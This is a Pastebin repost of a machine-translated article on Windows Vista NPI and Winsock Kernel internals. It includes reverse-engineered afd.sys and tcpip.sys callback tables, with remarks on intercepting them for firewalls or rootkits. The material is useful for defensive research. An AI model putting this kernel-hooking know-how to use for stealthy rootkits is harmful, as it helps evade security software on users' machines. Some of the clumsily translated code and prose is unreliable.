Advertisement
lil_king420

Windows NPI Subversion: Use and Hacking

Oct 25th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 82.06 KB | None | 0 0
  1. google translated page = https://translate.google.com/translate?tl=en-us&u=https%3A%2F%2Fvxlab.info%2Fwasm%2Fprint.php-article%3Dnpi_subvert.htm
  2.  
  3. Original article = https://vxlab.info/wasm/print.php-article=npi_subvert.htm
  4.  
  5.  
  6.  
  7. ARTICLES > Network
  8. Network interface program Windows Vista / 2008: internal device, use and hacking
  9.  
  10. The arrival of Windows Vista broke the notion of the network subsystem of the NT series as a consistently evolving entity. TDI is a thing of the past, just like the old versions of NDIS. More advanced and more convenient technologies for managing the network subsystem, extensibility are the pros that Microsoft talks about in their reports. Not all this is really so, and security software vendors do not always follow the precepts of the documentation, preferring more sophisticated and at the same time unstable ways of setting triggers in the system. This time we will talk about the internal device interface application-level network subsystem Windows Vista - NPI. Also, examples of its use in the system itself will be presented - the WSK core sockets and the TCP / IP stack application interface will be described. It will also show the practical implementation of some non-standard techniques already used by the suppliers of personal firewalls.
  11.  
  12. It should be noted that everything that will be said about the network subsystem of Windows Vista applies equally to the subsequent Windows 2008. The 32-bit system will be treated on a par with the 64-bit system, so all the operating principles and all the source code presented below will work both on x86 and x64 versions of the OS.
  13.  
  14. Introduction to NPI
  15.  
  16. The Network Programming Interface, or NPI, is one of the innovations of Windows Vista that unifies the application interfaces of the network subsystem and is an interface for the interaction of its two parts: NPI providers and NPI clients. This technology was developed as a replacement for the old, expired TDI - Transport Driver Interface, which was a kernel mode interface that was at the very top of the protocol stack - i.e. application interface for interaction with the network. TDI was closely related to the driver build model in Windows, starting with Windows NT 3. Therefore, TDI allowed to perform on itself a lot of undocumented actions, which were actively used as developers of personal firewalls (hereinafter - firewalls) and developers of rootkits. And some of the defenses, without further ado, had all their defense at the TDI level. This is why it was necessary to abstract from I / O packets, specific devices, functions, and so on. and curtail the programmer in his rights. But, as is customary in Windows, Vista inherited the support of TDI drivers and guarantees their stable operation, although Microsoft recommends using only NPI in projects. Therefore, the protection that works in Windows Vista, which is still located at the TDI level (and such there are) will remain in the holy ignorance. In short, NPIs are objects with callback functions that are registered by NPI providers, and are used by NPI clients. NPI itself is supported by the NMR library - Network Modules Registrar, which exports a set of NmrXxx () functions, located in the driver of netio.sys. Consider the most important of them, knowledge of which will be required later in the construction of defense and attack systems:
  17.  
  18. If the driver wishes to be registered as an NPI provider, it is provided with the functions NmrRegisterProvider () and NmrDeregisterProvider () to register and unregister, respectively:
  19.  
  20. NTSTATUS
  21. NmrRegisterProvider (
  22. IN PNPI_PROVIDER_CHARACTERISTICS ProviderCharacteristics,
  23. IN PVOID ProviderContext,
  24. OUT PHANDLE NmrProviderHandle
  25. );
  26.  
  27. NTSTATUS
  28. NmrDeregisterProvider (
  29. IN HANDLE NmrProviderHandle
  30. );
  31.  
  32. The structure of NPI_PROVIDER_CHARACTERISTICS is described as follows:
  33.  
  34. typedef struct _NPI_PROVIDER_CHARACTERISTICS {
  35. USHORT Version;
  36. USHORT Length;
  37. PNPI_PROVIDER_ATTACH_CLIENT_FN ProviderAttachClient;
  38. PNPI_PROVIDER_DETACH_CLIENT_FN ProviderDetachClient;
  39. PNPI_PROVIDER_CLEANUP_BINDING_CONTEXT_FN ProviderCleanupBindingContext;
  40. NPI_REGISTRATION_INSTANCE ProviderRegistrationInstance;
  41. } NPI_PROVIDER_CHARACTERISTICS, * PNPI_PROVIDER_CHARACTERISTICS;
  42.  
  43. Pointers to the callback function are populated by the provider to respond to appropriate actions, the most important functions that must be specified are:
  44.  
  45. ProviderAttachClient () to respond to client NPI connections to the provider
  46. ProviderDetachClient () to respond to the disconnection of the NPI client from the provider
  47.  
  48. These functions are called by the NMR, when any client wants to connect to the provider.
  49.  
  50. To register the client, the NMR exports the function NmrRegisterClient () and NmrDeregisterClient () to perform the reverse action:
  51.  
  52. NTSTATUS
  53. NmrRegisterClient (
  54. IN PNPI_CLIENT_CHARACTERISTICS ClientCharacteristics,
  55. IN PVOID ClientContext,
  56. OUT PHANDLE NmrClientHandle
  57. );
  58.  
  59. NTSTATUS
  60. NmrDeregisterClient (
  61. IN HANDLE NmrClientHandle
  62. );
  63.  
  64. Very similar to the registration functions of the provider, is not it? The structure of NPI_CLIENT_CHARACTERISTICS is no exception:
  65.  
  66. typedef struct _NPI_CLIENT_CHARACTERISTICS {
  67. USHORT Version;
  68. USHORT Length;
  69. PNPI_CLIENT_ATTACH_PROVIDER_FN ClientAttachProvider;
  70. PNPI_CLIENT_DETACH_PROVIDER_FN ClientDetachProvider;
  71. PNPI_CLIENT_CLEANUP_BINDING_CONTEXT_FN ClientCleanupBindingContext;
  72. NPI_REGISTRATION_INSTANCE ClientRegistrationInstance;
  73. } NPI_CLIENT_CHARACTERISTICS, * PNPI_CLIENT_CHARACTERISTICS;
  74.  
  75. The ClientRegistrationInstance field defines one important structure that describes the provider the client is about to connect to:
  76.  
  77. typedef struct _NPI_REGISTRATION_INSTANCE {
  78. USHORT Version;
  79. USHORT Size;
  80. PNPIID NpiId;
  81. PNPI_MODULEID ModuleId;
  82. ULONG Number;
  83. CONST VOID * NpiSpecificCharacteristics;
  84. } NPI_REGISTRATION_INSTANCE, * PNPI_REGISTRATION_INSTANCE;
  85.  
  86. The most important fields of the structure are ModuleId and NpiId:
  87.  
  88. typedef struct {
  89. unsigned long Data1;
  90. unsigned short Data2;
  91. unsigned short Data3;
  92. byte Data4 [8];
  93. } GUID;
  94.  
  95. typedef GUID NPIID, * PNPIID;
  96.  
  97. typedef struct _NPI_MODULEID {
  98. USHORT Length;
  99. NPI_MODULEID_TYPE Type;
  100. union {
  101. GUID Guid;
  102. IF_LUID IfLuid;
  103. };};
  104. } NPI_MODULEID, * PNPI_MODULEID;
  105.  
  106. Filling ModuleId and NpiId with a known sequence of bytes, we can accurately determine the provider to which we are going to connect.
  107.  
  108. WSK
  109.  
  110. The afd.sys driver was the link between the TCP / IP driver of the tcpip.sys stack and the Winsock user-level libraries. In addition to these functions, which have been left since NT 3, afd.sys whist is registered as an NPI provider and provides access to WSK - Winsock Kernel, kernel mode sockets. As already mentioned, TDI is a rather complex interface, the organization of access to the network through which it is not an easy task. In WSK, this issue is solved with a half, and hastily written code is already beginning to work. WSK provides a set of WskXxx () functions similar in functionality to BSD sockets - WskSocket (), WskConnect (), WskReceive (), WskSend (), WskCloseSocket (), which corresponds to the socket (), connect (), recv (), send , close (). However, there is a slight difference from application-level sockets - WSK sockets are not blocking, so to have blocking sockets (which is much more convenient when developing simple applications), you need to write small wrapper functions for each WskXxx () call or block the function call in the code itself, and the code will look larger. WSK is designed as follows: the connection functions themselves to the WSK provider are exported by the NMR (netio.sys), but the WSK functionality (ie the same WskXxx () callbacks) is located in afd.sys. Thus, any driver in the system can register as a WSK service provider, but the problem is that the interface to tcpip.sys through the NPI is not documented. Consider the WSK interface, as a special case of using NPI, which, moreover, can help developers to easily organize network interaction in kernel mode.
  111.  
  112. To register as a WSK client, the NMR exports the WskRegister () function, well documented in the WDK, which is invoked as follows:
  113.  
  114. static WSK_REGISTRATION g_WskRegistration;
  115. static WSK_CLIENT_DISPATCH g_WskDispatch = {MAKE_WSK_VERSION (1,0), 0, NULL};
  116. ...
  117. WSK_CLIENT_NPI WskClient = {0};
  118. NTSTATUS Status = STATUS_UNSUCCESSFUL;
  119.  
  120. WskClient.ClientContext = NULL;
  121. WskClient.Dispatch = & g_WskDispatch;
  122.  
  123. Status = WskRegister (& WskClient, & g_WskRegistration);
  124. if (! NT_SUCCESS (Status)) {
  125. DbgPrint ("DriverEntry (): WskRegister () failed with status 0x% 08X \ n", Status);
  126. return Status;
  127. }
  128.  
  129. Exploring the internal device of the WskRegister () function makes it clear that it simply calls NmrRegisterClient () with NpiId = NPI_WSK_INTERFACE_ID and ModuleId = WSKLIB_WSK_CLIENT_MODULEID. After the client registered with the WSK provider, he needs to call the function to wait for the download. Yes, it can happen that our driver will be loaded before afd.sys, or it may not be loaded at all - for example, when the system boots in safe mode.
  130.  
  131. Status = WskCaptureProviderNPI (& g_WskRegistration, WSK_CAPTURE_WAIT_TIMEOUT_MSEC, & g_WskProvider);
  132. if (! NT_SUCCESS (Status)) {
  133. DbgPrint ("DriverEntry (): WskCaptureProviderNPI () failed with status 0x% 08X \ n", Status);
  134. WskDeregister (& g_WskRegistration);
  135. return Status;
  136. }
  137.  
  138. WskCaptureProviderNPI () simply waits for the callback of ClientAttachProvider (), after which we will be sure that the library has booted. When afd.sys accepts a client registration request, it will return a pointer to the handler table that we can use to manipulate sockets. Those same WskXxx () callbacks. A pointer to this table will be returned to g_WskProvider.Dispatch:
  139.  
  140. typedef struct _WSK_PROVIDER_DISPATCH {
  141. USHORT Version;
  142. USHORT Reserved;
  143. PFN_WSK_SOCKET WskSocket;
  144. PFN_WSK_SOCKET_CONNECT WskSocketConnect;
  145. PFN_WSK_CONTROL_CLIENT WskControlClient;
  146. } WSK_PROVIDER_DISPATCH, * PWSK_PROVIDER_DISPATCH;
  147.  
  148. Now every client that wants to establish a TCP connection or send a UDP packet can use these functions. This structure is available in a single form inside afd.sys, and all WSK clients receive the pointer to it without exception. These handlers can be intercepted by a sniffer or another tool that will be able to regulate access to the WSK. Let's look deeper into the bowd afd.sys: registering afd.sys as a WSK provider occurs in the AfdWskStartProviderModule () function (quite a self-speaking name), where afd.sys calls NmrRegisterProvider () with the ProviderCharacteristics parameter pointing to the AfdWskProviderNotify structure:
  149.  
  150. NPIID NPI_WSK_INTERFACE_ID = {
  151. 0x2227E803, 0x8D8B, 0x11D4,
  152. {0xAB, 0xAD, 0x00, 0x90, 0x27, 0x71, 0x9E, 0x09}
  153. };};
  154.  
  155. NPI_MODULEID NPI_MS_WSK_MODULEID = {
  156. sizeof (NPI_MODULEID),
  157. MIT_GUID,
  158. {0xEB004A0D, 0x9B1A, 0x11D4,
  159. {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
  160. };};
  161.  
  162. NPI_PROVIDER_CHARACTERISTICS AfdWskProviderNotify = {
  163. 0,
  164. sizeof (NPI_PROVIDER_CHARACTERISTICS),
  165. AfdWskNotifyAttachClient,
  166. AfdWskNotifyDetachClient,
  167. AfdWskNotifyCleanupClientContext,
  168. {0, sizeof (NPI_REGISTRATION_INSTANCE), & NPI_WSK_INTERFACE_ID,
  169. & NPI_MS_WSK_MODULEID, 0, & AfdWskProviderCharacter}
  170. };};
  171.  
  172. This structure is located in the .rdata section, which has a read only attribute, which must be taken into account when setting possible interceptions. Now it's clear which function wakes up when calling WskRegister () - it's AfdWskNotifyAttachClient () that returns a pointer to the dispatcher table described above with the WSK_PROVIDER_DISPATCH structure. This table has the name WskProAPIProviderDispatch, which, like AfdWskProviderNotify, is located in the .rdata section of the afd.sys driver:
  173.  
  174. WSK_PROVIDER_DISPATCH WskProAPIProviderDispatch = {
  175. MAKE_WSK_VERSION (1,0),
  176. WskProAPISocket,
  177. WskProAPISocketConnect,
  178. AfdWskControlClient
  179. };};
  180.  
  181. Having a pointer to WskProAPIProviderDispatch, we can intercept three calls - WskSocket (), WskSocketConnect (), WskControlClient (). Now, depending on which flags have been passed to WskSocket () or WskSocketConnect () (WSK_FLAG_DATAGRAM_SOCKET / WSK_FLAG_CONNECTION_SOCKET / WSK_FLAG_LISTEN_SOCKET), these tables will return other tables that describe the socket of a certain category (more in WDK):
  182.  
  183. For sockets intended for sending datagrams, we get a pointer to the structure WSK_PROVIDER_DATAGRAM_DISPATCH:
  184.  
  185. WSK_PROVIDER_DATAGRAM_DISPATCH WskProAPIDatagramSocketDispatch = {
  186. WskProAPIControlSocket,
  187. WskProAPICloseSocket,
  188. WskProAPIBind,
  189. WskProCoreCloseSocket,
  190. WskProAPIReceiveFrom,
  191. WskProAPIReleaseC,
  192. WskProAPIGetLocalAddress
  193. };};
  194.  
  195. For connection-oriented sockets - WSK_PROVIDER_CONNECTION_DISPATCH:
  196.  
  197. WSK_PROVIDER_CONNECTION_DISPATCH WskProAPIConnectionSocketDispatch = {
  198. WskProAPIControlSocket,
  199. WskProAPICloseSocket,
  200. WskProAPIBind,
  201. WskProAPIConnect,
  202. WskProAPIGetLocalAddress,
  203. WskProAPIGetRemoteAddress,
  204. WskProAPISend,
  205. WskProAPIReceive,
  206. WskProAPIDisconnect,
  207. WskProAPIReleaseC
  208. };};
  209.  
  210. Or WSK_PROVIDER_LISTEN_DISPATCH, if we plan to organize a listening socket:
  211.  
  212. WSK_PROVIDER_LISTEN_DISPATCH WskProAPIListenSocketDispatch = {
  213. WskProAPIControlSocket,
  214. WskProAPICloseSocket,
  215. WskProAPIBind,
  216. WskProAPIAccept,
  217. WskProAPIResume,
  218. WskProAPIGetLocalAddress
  219.  
  220. };};
  221.  
  222. By analogy with the rest of the tables, we can intercept the handlers that are in these tables. Consider a simple example of a TCP client on the WSK that connects to google.com:80, makes a GET request, and receives a response from the web server. With WskCaptureProviderNPI () we already got a pointer to the WSK_PROVIDER_NPI structure and the first thing we're going to do is create a socket using the WSK_PROVIDER_NPI.Dispatch-> WskSocket () function:
  223.  
  224. static
  225. NTSTATUS
  226. MakeHttpRequest (
  227. __in PWSK_PROVIDER_NPI WskProvider,
  228. __in PSOCKADDR_IN LocalAddress,
  229. __in PSOCKADDR_IN RemoteAddress,
  230. __in PWSK_BUF HttpRequest,
  231. __out PWSK_BUF HttpResponse,
  232. __in PIRP Irp // can be reused
  233. )
  234. {
  235. KEVENT CompletionEvent = {0};
  236. PWSK_PROVIDER_CONNECTION_DISPATCH SocketDispatch = NULL;
  237. PWSK_SOCKET WskSocket = NULL;
  238. ...
  239. KeInitializeEvent (& CompletionEvent, SynchronizationEvent, FALSE);
  240.  
  241. IoReuseIrp (Irp, STATUS_UNSUCCESSFUL);
  242. IoSetCompletionRoutine (Irp, CompletionRoutine, & CompletionEvent, TRUE, TRUE, TRUE);
  243.  
  244. Status = WskProvider-> Dispatch-> WskSocket (
  245. WskProvider-> Client,
  246. AF_INET,
  247. SOCK_STREAM,
  248. IPPROTO_TCP,
  249. WSK_FLAG_CONNECTION_SOCKET,
  250. NULL,
  251. NULL,
  252. NULL,
  253. NULL,
  254. NULL,
  255. Irp);
  256. if (Status == STATUS_PENDING) {
  257. KeWaitForSingleObject (& CompletionEvent, Executive, KernelMode, FALSE, NULL);
  258. Status = Irp-> IoStatus.Status;
  259. }
  260.  
  261. if (! NT_SUCCESS (Status)) {
  262. DbgPrint ("MakeHttpRequest (): WskSocket () failed with status 0x% 08X \ n", Status);
  263. return Status;
  264. }
  265.  
  266. WskSocket = (PWSK_SOCKET) Irp-> IoStatus.Information;
  267. SocketDispatch = (PWSK_PROVIDER_CONNECTION_DISPATCH) WskSocket-> Dispatch;
  268.  
  269. As you can see, WskSocket () requires a pointer to the IRP structure, which we must first allocate for these needs. The same IRP can be used several times, and we will use it by calling IoReuseIrp (). As already mentioned, the WSK functions are not blocking functions, so for such a simple application as ours it's enough to wait for WskSocket () to be executed, the completion function CompletionRoutine (), specified in IoSetCompletionRoutine ():
  270.  
  271. static
  272. NTSTATUS
  273. NTAPI
  274. CompletionRoutine (
  275. __in PDEVICE_OBJECT DeviceObject,
  276. __in PIRP Irp,
  277. __in PKEVENT CompletionEvent
  278. )
  279. {
  280. ASSERT (CompletionEvent);
  281.  
  282. KeSetEvent (CompletionEvent, IO_NO_INCREMENT, FALSE);
  283. return STATUS_MORE_PROCESSING_REQUIRED;
  284. }
  285.  
  286. After successful creation of the socket, it should be linked to the local address from which the connection will be made. If you do not need to do this in BSD sockets, then in WSK the WskConnect () call will end with an error without first calling WskBind (). Not zamorachivayas strongly indicate INADDR_ANY as a local address, WskBind () this allows:
  287.  
  288. LocalAddress.sin_family = AF_INET;
  289. LocalAddress.sin_addr.s_addr = INADDR_ANY;
  290. LocalAddress.sin_port = 0;
  291. ...
  292. Status = SocketDispatch-> WskBind (
  293. WskSocket,
  294. (PSOCKADDR) LocalAddress,
  295. 0,
  296. Irp);
  297. if (Status == STATUS_PENDING) {
  298. KeWaitForSingleObject (& CompletionEvent, Executive, KernelMode, FALSE, NULL);
  299. Status = Irp-> IoStatus.Status;
  300. }
  301.  
  302. if (! NT_SUCCESS (Status)) {
  303. DbgPrint ("MakeHttpRequest (): WskBind () failed with status 0x% 08X \ n", Status);
  304. CloseWskSocket (SocketDispatch, WskSocket);
  305. return Status;
  306. }
  307.  
  308. And finally, we connect:
  309.  
  310. RemoteAddress.sin_family = AF_INET;
  311. RemoteAddress.sin_addr.s_addr = HOST_ADDRESS;
  312. RemoteAddress.sin_port = HTONS (HOST_PORT);
  313. ...
  314. Status = SocketDispatch-> WskConnect (
  315. WskSocket,
  316. (PSOCKADDR) RemoteAddress,
  317. 0,
  318. Irp);
  319. if (Status == STATUS_PENDING) {
  320. KeWaitForSingleObject (& CompletionEvent, Executive, KernelMode, FALSE, NULL);
  321. Status = Irp-> IoStatus.Status;
  322. }
  323.  
  324. if (! NT_SUCCESS (Status)) {
  325. DbgPrint ("MakeHttpRequest (): WskConnect () failed with status 0x% 08X \ n", Status);
  326. CloseWskSocket (SocketDispatch, WskSocket);
  327. return Status;
  328. }
  329.  
  330. In general, the sequence of three calls to WskSocket (), WskBind (), WskConnect () can be replaced by one call to WskSocketConnect (), which is also exported by WSK. The next step is sending an HTTP request:
  331.  
  332. Status = SocketDispatch-> WskSend (
  333. WskSocket,
  334. HttpRequest,
  335. 0,
  336. Irp);
  337. if (Status == STATUS_PENDING) {
  338. KeWaitForSingleObject (& CompletionEvent, Executive, KernelMode, FALSE, NULL);
  339. Status = Irp-> IoStatus.Status;
  340. }
  341.  
  342. if (! NT_SUCCESS (Status)) {
  343. DbgPrint ("MakeHttpRequest (): WskSend () failed with status 0x% 08X \ n", Status);
  344. CloseWskSocket (SocketDispatch, WskSocket);
  345. return Status;
  346. }
  347.  
  348. We accept data from the web server:
  349.  
  350. Status = SocketDispatch-> WskReceive (
  351. WskSocket,
  352. & WskBuffer,
  353. 0,
  354. Irp);
  355. if (Status == STATUS_PENDING) {
  356. KeWaitForSingleObject (& CompletionEvent, Executive, KernelMode, FALSE, NULL);
  357. Status = Irp-> IoStatus.Status;
  358. }
  359.  
  360. if (! NT_SUCCESS (Status)) {
  361. DbgPrint ("ReceiveHttpResponse (): WskReceive () failed with status 0x% 08X \ n", Status);
  362. break;
  363. }
  364.  
  365. The socket close function does its job:
  366.  
  367. Status = SocketDispatch-> WskCloseSocket (WskSocket, Irp);
  368. if (Status == STATUS_PENDING) {
  369. KeWaitForSingleObject (& CompletionEvent, Executive, KernelMode, FALSE, NULL);
  370. Status = Irp-> IoStatus.Status;
  371. }
  372.  
  373. if (! NT_SUCCESS (Status)) {
  374. DbgPrint ("CloseWskSocket (): WskCloseSocket () failed with status 0x% 08X \ n", Status);
  375. }
  376.  
  377. WskCloseSocket () is also not a blocking function. We, after all, remember the exchange of FIN packets and timeouts when the TCP session is correctly terminated? ;) After the server's response is accepted, you can get something useful from it:
  378.  
  379. MakeHttpRequest (): Connecting to the 74.125.45.100:80 ...
  380. MakeHttpRequest (): Connected, sending the request ...
  381. MakeHttpRequest (): 56 bytes of the request
  382. MakeHttpRequest (): Receiving the answer ...
  383. MakeHttpRequest (): Received 497 bytes of data
  384. ==> google.com says that today is: Mon, 11 May 2009 11:51:27 GMT
  385. MakeHttpRequest (): Connecting to the 74.125.45.100:80 ...
  386. MakeHttpRequest (): Connected, sending the request ...
  387. MakeHttpRequest (): 56 bytes of the request
  388. MakeHttpRequest (): Receiving the answer ...
  389. MakeHttpRequest (): Received 497 bytes of data
  390. ==> google.com says that today is: Mon, 11 May 2009 11:51:32 GMT
  391. ...
  392.  
  393. This method of communication with the outside world is fully operational and is successfully detected by personal firewalls working at the NPI level. The connection itself will be visible in the connection list displayed by netstat or TcpView. An interesting situation for the firewall is obtained if WSK will use some legal driver along with the rootkit that has been installed in the system. Unless access to the WSK will be circumcised according to a strict set of rules through which the rootkit can not pass.
  394.  
  395. For an even simpler use of WSK, a simplewsk library was developed whose functions are wrappers around WskXxx () functions and are similar to BSD sockets functions. In addition to the fact that all functions blocking by default, we avoid meeting with the WSK_BUF structure, the use of which is not always suitable for building simple applications. The library sources and example of use as an echo server can be found at the end of the article.
  396.  
  397. Internal device NPI
  398.  
  399. As already mentioned, NPI came to replace TDI, and Windows Vista uses NPI drivers, leaving TDI for compatibility. If tcpip.sys used to register as a TDI-provider, now it is an NPI-provider, and all the work passes through this channel. In brief, the ideology of the NPI is as follows: the provider registers a set of callback functions that the client uses. So it was in afd.sys, so it happens with tcpip.sys. We could register as another NPI client tcpip.sys (besides the official afd.sys), there are similar callback functions that can be intercepted, and have control over the flow of all data in the system. Although, to be more precise, in this case, the control will be only on the data transferred within the TCP / IP stack of Windows. At once it is necessary to say that it will not be possible to do this quickly and painlessly. First, let's take a look at how the NmrRegisterProvider () and NmrRegisterClient () functions are constructed:
  400.  
  401. #define PROVIDER_MODULE 2
  402. #define CLIENT_MODULE 1
  403.  
  404. NTSTATUS NmrRegisterProvider (
  405. PNPI_PROVIDER_CHARACTERISTICS ProviderCharacteristics,
  406. PVOID ProviderContext,
  407. PHANDLE NmrProviderHandle
  408. )
  409. {
  410. NTSTATUS Status;
  411. HANDLE hProvider;
  412. ...
  413. Status = NmrpVerifyModule (_ReturnAddress (), FALSE, ProviderCharacteristics);
  414. if (NT_SUCCESS (Status)) {
  415. Status = NmrpRegisterModule (PROVIDER_MODULE, ProviderCharacteristics, ProviderContext, & hProvider);
  416. if (NT_SUCCESS (Status))
  417. * NmrProviderHandle = hProvider;
  418. }
  419.  
  420. return Status;
  421. }
  422.  
  423. NTSTATUS NmrRegisterClient (
  424. PNPI_CLIENT_CHARACTERISTICS ClientCharacteristics,
  425. PVOID ClientContext,
  426. PHANDLE NmrClientHandle
  427. )
  428. {
  429. NTSTATUS Status;
  430. HANDLE hClient;
  431. ...
  432. Status = NmrpVerifyModule (_ReturnAddress (), TRUE, ClientCharacteristics);
  433. if (NT_SUCCESS (Status)) {
  434. Status = NmrpRegisterModule (CLIENT_MODULE, ClientCharacteristics, ClientContext, & hClient);
  435. if (NT_SUCCESS (Status))
  436. * NmrClientHandle = hClient;
  437. }
  438.  
  439. return Status;
  440. }
  441.  
  442. The non-exportable NmprVerifyModule () function is very interesting, which returns the return address from the NmrRegisterProvider () / NmrRegisterClient () functions: it compares the pointers to the callback functions and the return address with the list of providers and the corresponding NPIID structures - under certain GUIDs, these functions must specify exactly in the driver, which in the list corresponds to a specific GUID.NmprVerifyModule () checks if NpiId field passed to NPI_REGISTRATION_INSTANCE structure as well NPI_TRANSPORT_LAYER_ID, NPI_WSK_INTERFACE_ID or NPI_CCM_INTERFACE_ID, it is ZwQuerySystemInformation () function to get a list of loaded kernel modules and tested for a list of drivers trying to locate the driver, in a manner that indicates the transmitted address return. If the owner is found, then checks function pointers ProviderDetachClient () / ClientDetachProvider () - and whether or not they belong to the owner? If the functions indicated in Point modules at the end of NmprVerifyModule () makes the test module the way in which the driver is located. If the path is "\ systemroot \ system32 \ drivers \ afd.sys", "\ systemroot \ system32 \ drivers \ tdx.sys" or "\ systemroot \ system32 \ drivers \ tcpip.sys", registration is permitted.On the one hand NPI ideology provides us with the possibility of replacing a part of the networking subsystem of Windows Vista to another, and the other is rigidly fixed for certain parts of their site system. NmprVerifyModule function of the review (), you can make the following rules:
  443.  
  444. Only afd.sys can be registered as WSK provider (NpiId = NPI_WSK_INTERFACE_ID) Anyone can be registered as a client WSK (NpiId = NPI_WSK_INTERFACE_ID), which makes sense only tcpip.sys can be registered as a transport provider (NpiId = NPI_TRANSPORT_LAYER_ID) only tdx .sys or afd.sys can be registered as clients NPI transport layer (NpiId = NPI_TRANSPORT_LAYER_ID)
  445.  
  446. Said tdx.sys represents NPI client transport layer, which is connected to the TDI tcpip.sys and arranges for older drivers. In the future, Microsoft might just get rid of it. Putting the protection on TDI level in Windows Vista is not much point because personal firewalls can intercept callback-function driver tcpip.sys Located below the level, and thus have a network subsystem control lever at the application layer in the kernel mode. Like any other respectable NPI provider, the tcpip.sys causes NmrRegisterProvider () to register itself as a transport services provider of internal functions InetStartNsiProvider (), which is called multiple times for each protocol that provides tcpip.sys. Let us consider the most interesting for us:
  447.  
  448. NTSTATUS TcpStartConfigModule ()
  449. {
  450. NTSTATUS Status;
  451.  
  452. Status = InetStartNsiProvider (& TcpInetTransport, & TcpNsiInterfaceDispatch);
  453. If (NT_SUCCESS (Status)) {
  454. ...
  455. }
  456.  
  457. return Status;
  458. }
  459.  
  460. NTSTATUS UdpStartConfigModule ()
  461. {
  462. NTSTATUS Status;
  463.  
  464. Status = InetStartNsiProvider (& UdpInetTransport, & UdpNsiInterfaceDispatch);
  465. If (NT_SUCCESS (Status)) {
  466. ...
  467. }
  468.  
  469. return Status;
  470. }
  471.  
  472. NTSTATUS RawStartConfigModule ()
  473. {
  474. NTSTATUS Status;
  475.  
  476. Status = InetStartNsiProvider (& RawInetTransport, & RawNsiInterfaceDispatch);
  477. If (NT_SUCCESS (Status)) {
  478. ...
  479. }
  480.  
  481. return Status;
  482. }
  483.  
  484. If NmrRegisterProvider () is called for all protocols that provides the tcpip.sys, it should be NPI_MODULEID structure describing each of them:
  485.  
  486. NPI_MODULEID NPI_MS_TCP_MODULEID = {
  487. sizeof (NPI_MODULEID),
  488. MIT_GUID,
  489. {0xEB004A03, 0x9B1A, 0x11D4,
  490. {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
  491. };};
  492.  
  493. NPI_MODULEID NPI_MS_UDP_MODULEID = {
  494. sizeof (NPI_MODULEID),
  495. MIT_GUID,
  496. {0xEB004A02, 0x9B1A, 0x11D4,
  497. {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
  498. };};
  499.  
  500. NPI_MODULEID NPI_MS_RAW_MODULEID = {
  501. sizeof (NPI_MODULEID),
  502. MIT_GUID,
  503. {0xEB004A07, 0x9B1A, 0x11D4,
  504. {0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC}}
  505. };};
  506.  
  507. So what is inside variables TcpInetTransport, UdpInetTransport, RawInetTransport, TcpNsiInterfaceDispatch, UdpNsiInterfaceDispatch and RawNsiInterfaceDispatch? Something interesting. To begin with, TcpInetTransport, UdpInetTransport and RawInetTransport filled functions TcpStartInetModule (), UdpStartInetModule () and RawStartInetModule () respectively. XxxInetTransport variables are described as a structure which is not documented format. This, however, does not matter, but there is one small detail - one of the fields of these structures contains a pointer to the structure type NPI_MODULEID: NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID etc .. And also they contain pointers to the internal callback-functions:
  508.  
  509. TcpInitializeAf (), TcpCleanupAf (), TcpDetachAf () for TCP provider
  510. UdpInitializeAf (), UdpCleanAf () for UDP provider
  511. RawInitializeAf (), RawCleanupAf () for Raw IP provider
  512. RawInitializeClient (), RawNlClientAddInterface () for all other protocols (just stubs - xor eax, eax / ret)
  513.  
  514. XxxNsiInterfaceDispatch structures are only part of the relevant structures XxxInetTransport. After initialization and registration provider, tcpip.sys causes InetStartTlProviderTransport () function, which starts an internal mechanism which starts modules: TcpStartProviderModule (), UdpStartProviderModule () and RawStartProviderModule ():
  515.  
  516. NTSTATUS TcpStartProviderModule ()
  517. {
  518. NTSTATUS Status;
  519.  
  520. Status = InetStartTlProviderTransport (
  521. & TcpInetTransport, sizeof (...), & TcpTlProviderCharacteristics, & TcpTlProviderDispatch);
  522. If (NT_SUCCESS (Status)) {
  523. ...
  524. }
  525.  
  526. return Status;
  527. }
  528.  
  529. NTSTATUS UdpStartProviderModule ()
  530. {
  531. NTSTATUS Status;
  532.  
  533. Status = InetStartTlProviderTransport (
  534. & UdpInetTransport, sizeof (...), & UdpTlProviderCharacteristics, & UdpTlProviderDispatch);
  535. If (NT_SUCCESS (Status)) {
  536. ...
  537. }
  538.  
  539. return Status;
  540. }
  541.  
  542. NTSTATUS RawStartProviderModule ()
  543. {
  544. NTSTATUS Status;
  545.  
  546. Status = InetStartTlProviderTransport (
  547. & UdpInetTransport, sizeof (...), & UdpTlProviderCharacteristics, & UdpTlProviderDispatch);
  548. If (NT_SUCCESS (Status)) {
  549. ...
  550. }
  551.  
  552. return Status;
  553. }
  554.  
  555. InetStartTlProviderTransport () causes NmrRegisterProvider (), and passes a pointer to ProviderCharacteristics structure InetTlProviderNotify:
  556.  
  557. NPIID NPI_TRANSPORT_LAYER_ID = {
  558. 0x2227E804, 0x8D8B, 0x11D4,
  559. {0xAB, 0xAD, 0x00, 0x90, 0x27, 0x71, 0x9E, 0x09}
  560. };};
  561.  
  562. NPI_PROVIDER_CHARACTERISTICS InetTlProviderNotify = {
  563. 0
  564. sizeof (NPI_PROVIDER_CHARACTERISTICS),
  565. InetTlNotifyAttachClient,
  566. InetTlNotifyDetachClient,
  567. WfpAlepPeerInformationFree,
  568. {0, sizeof (NPI_REGISTRATION_INSTANCE), & NPI_TRANSPORT_LAYER_ID, 0, NULL}
  569. };};
  570.  
  571. Now it is seen that each transport protocol is registered via NmrRegisterProvider (), but connecting it to the client each time invoked InetTlNotifyAttachClient () function, wherein processing client connection occurs. InetStartTlProviderTransport () stores the transmitted pointers XxxTlProviderCharacteristics and XxxTlProviderDispatch in one of the fields transferred XxxInetTransport (we still do not care about offsets and fields). There are several structures XxxTlProviderXxxDispatch, containing processors, which returns tcpip.sys client (in the official case - it afd.sys), which he uses. Well, the climax:
  572.  
  573. TCP handlers:
  574.  
  575. PVOID TcpTlProviderDispatch [8] = {
  576. TcpTlProviderIoControl,
  577. TlDefaultRequestQueryDispatch,
